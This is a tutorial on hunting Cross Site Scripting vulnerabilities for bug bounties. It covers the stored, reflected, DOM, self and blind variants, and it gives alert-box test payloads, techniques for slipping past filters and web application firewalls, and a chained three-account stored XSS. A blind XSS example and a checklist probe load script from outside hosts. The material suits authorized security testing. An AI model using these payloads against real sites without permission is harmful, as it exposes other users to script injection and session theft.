Learning about Cross Site Scripting (XSS)

Before we begin, if you haven't already I highly recommend checking out http://brutelogic.com.br/blog/ run by BruteLogic for great in-depth tutorials about XSS. He also runs a great tool called KNOXSS which can help aid you in your hunting.

Now, let's begin. XSS (known as Cross Site Scripting) is usually the most common and also the most easiest type of vulnerability to find since you are simply looking for your input reflected in the response. You can simply check every parameter & look for your input in the response. For example, if you had the following URL: https://www.example.com/search.php?q=zseano and you noticed zseano is reflected in the response, then you could begin testing for XSS with something such as ?q=<script>alert(0)</script>. If your payload is reflected as valid HTML then it should show a popup box with "0". This would be called reflective xss.

Now imagine you can signup to your website and you give yourself a display name of <svg/onload=alert(0)> and when posting to the world, it popped up with another "0" javascript alert box. This would be Stored XSS as the web application has stored your input and it's reflected without you needing to use any parameters in the GET/POST request.

With that said, not every XSS is as straight forward as that as sometimes filters/WAFs are in place to prevent XSS attacks and certain characters are restricted. Let's explore XSS and some scenarios.

Different types of XSS

  • Stored XSS is when the XSS is stored in the websites database and reflected back to users. For example imagine your twitter name. This is stored & displayed to other users.
  • Reflective XSS is when XSS is reflected in the source via a parameter in the URL/request, either via a GET or a POST request.
  • DOM XSS is XSS executing from the DOM, usually injected via hash fragments, for example ``#q=<svg/onload=alert(0)>
  • Self XSS is XSS that only affects you. This could be in your account settings that only you can access. For these types of XSS I recommend looking for CSRF login for chaining.
  • Blind XSS is an XSS payload that fires blindly, for example on an admins backend. Imagine you have ordered some food and you add on the notes, <script src=//zseano.com/> and when the restaurant opens your order, the XSS payload may fire.

Discovering parameters

With XSS you can't really go wrong because you are looking for certain characters in the response. However with that said, how do you find parameters to actually test for? Look in the raw html (view-source:), browse .js files (look for var =) or simply brute force commonly found parameter names. When hunting in the raw HTML look for <input name= but don't forget to try these parameter names on every endpoint you discover. I can not stress enough how much large companies re-use code & parameter names.

Input everywhere

However, don't go for the common payloads straight away!. But as it says, input xss payloads whereever possible. Your name, in your email (test+<h2>@test.com), bio. See how it's handled and reflected, is anything stripped/filtered? Don't use the most common <script> as most web applications will filter this and instead start with something "harmless" such as <h2>. This is more likely to work especially if some type of html markdown rendering is being used and you can work on building an XSS payload with impact. Carry on reading to learn more on the flow of testing for XSS.

Understanding XSS filters

Developers like to try introduce filters for various reasons. Filters means you get to play & try to reverse enigneer the developers thoughts. From understanding how a developer has chosen to filter certain XSS payloads, it can give you an idea for the security throughout (perhaps similar filtering exists on a potential SSRF?). Below are some common cases when testing XSS and how I go about trying to create a working proof of concept (PoC).

  • Problem #1

    You use the payload <script>alert(0)</script> and notice only alert(0) is reflected.

    What to try

    At this point I start asking, are they simply filtering certain html tags?. Trying payloads such as <script src=// (without ending the tag), <notreal> (not a real tag, not filtered?) can give you an idea for what they are filtering. Don't forget to also try for <1> as they may be looking for <[a-z]

  • Problem #2

    You use the payload <script>alert(0)</script> and notice &lt;script&gt;alert(0)&lt;/script&gt; is reflected.

    What to try

    It is perhaps unlikely this parameter will be vulnerable to XSS, however do not rule it out. Test for different encodings such as %3Cscript%3Ealert(0)%3C%2Fscript%3E as the filter may be looking for <, but encoding bypasses the checks. You can also try providing < yourself (but encoded, so %26lt%3Bscript%26gt%3Balert(0)%26lt%3B%2Fscript%26gt%3B). The server may process it as valid HTML on response.

  • Problem #3

    The response only contains part of the payload, for example "><script>alert(0)</script> only returns "><script>

    What to try

    First things first, we know they don't filter XSS here, however this can be quite tricky to bypass as it all depends on where it is returned and if you can control anything else. In the past i've had a case where I able to signup using XSS in my first and last name and whenever I commented on a post my name would render the HTML set in the first name, but I was stuck to a limited number of characters so the working method was to setup three accounts with the following names:

    Account One: <script>/*. This starts a script tag and multi-comments out everything below
    Account Two: could be set to anything.
    Account Three: */</script>. This ends the multi comment tag and also the script tag.

    Firstly, account THREE posts first since newest comments are at top.
    Next, account TWO posts the payload to be executed by posting the following comment: */ alert(0) /*.
    Lastly we leave a comment with account ONE.

    Because account ONE's name is reflected first with the name <script>/*, this starts the script tag, comments out everything below because of /*, until it gets to my comment wich ends the multi-comment and executes alert(0). Account THREE then ends the multi-comment and ends the script tag. There we have 3 chained payloads to achieve stored XSS and a nice payout!

    When you have limited characters available you need to get creative & see what options you have available.

  • Problem #4

    The payload "><script>alert(0)</script> only returns "scriptalert(0)/ and strips everything else.

    What to try

    We don't always need the < tag to get XSS. As long as it's reflected on a HTML tag and you can control some characters such as ' and " then we should be able to use any of the following payloads: "onfocus="alert(0)" k="`, "onmouseover=alert(0), "onmousenter="alert(0)" k=", etc. You can find a list of event handlers from http://www.w3schools.com/jsref/dom_obj_event.asp.

    One common problem researchers find is when on{} is blacklisted/filtered. It all depends on where it is reflected but I find trying the payload onxss= can determine if they are filtering on*, or if just something like onfocus= is blacklisted.

    For the first one I recommend trying things like on%0dmouseover= (you can also use %09, %0C, %00 here), "onmouseover%3D, onmouseover=alert(0)"= (I had an experience where a WAF would allow for anything aslong as the payload ended in =). However, if it's the latter then I recommend running through the list above.

The last peice of advice i'd like to give researchers faced with a filter/waf when hunting for XSS is to remember the WAF might just be running on a blacklist and by using things like "%0d" (for example <svg%0donload=prompt(1)>), it can sometimes confuse it, and render your XSS. Understand what the filter is looking for and start fuzzing/testing.

Testing for XSS flow

Here is my simple testing methodology when testing for XSS.

<h2> - h2 tags are usually not blacklisted

<h2 - Are they only looking for complete tags? Bypass would be <script src=//mysite.com?c=

<%00h2 - Are they looking for characters after < - can we trick it? I run through all %0d %0a etc. Do %0d %00 etc cause any type of WAF to execute & block the request?

</script/x> - The trailing / closing the tag can sometimes break filters

<<h2>> - may strip the outter < > leaving <h2>

<IFRAME> - case sensitive?

"onxss= - are they only looking for the most known on{} event handlers?

'onxss= (sometimes ' can produce different behaviour. Perhaps anti-sql code executes?)

Using the above will give you a clear indication as to what they are filtering and how you can maybe bypass it. You can find a giant payload list for XSS here: https://github.com/swisskyrepo/PayloadsAllTheThings

For a full list of payloads which are kept up to date, we recommend visiting the sites below as honestly, a lot of XSS payloads can be unique to the application you are testing.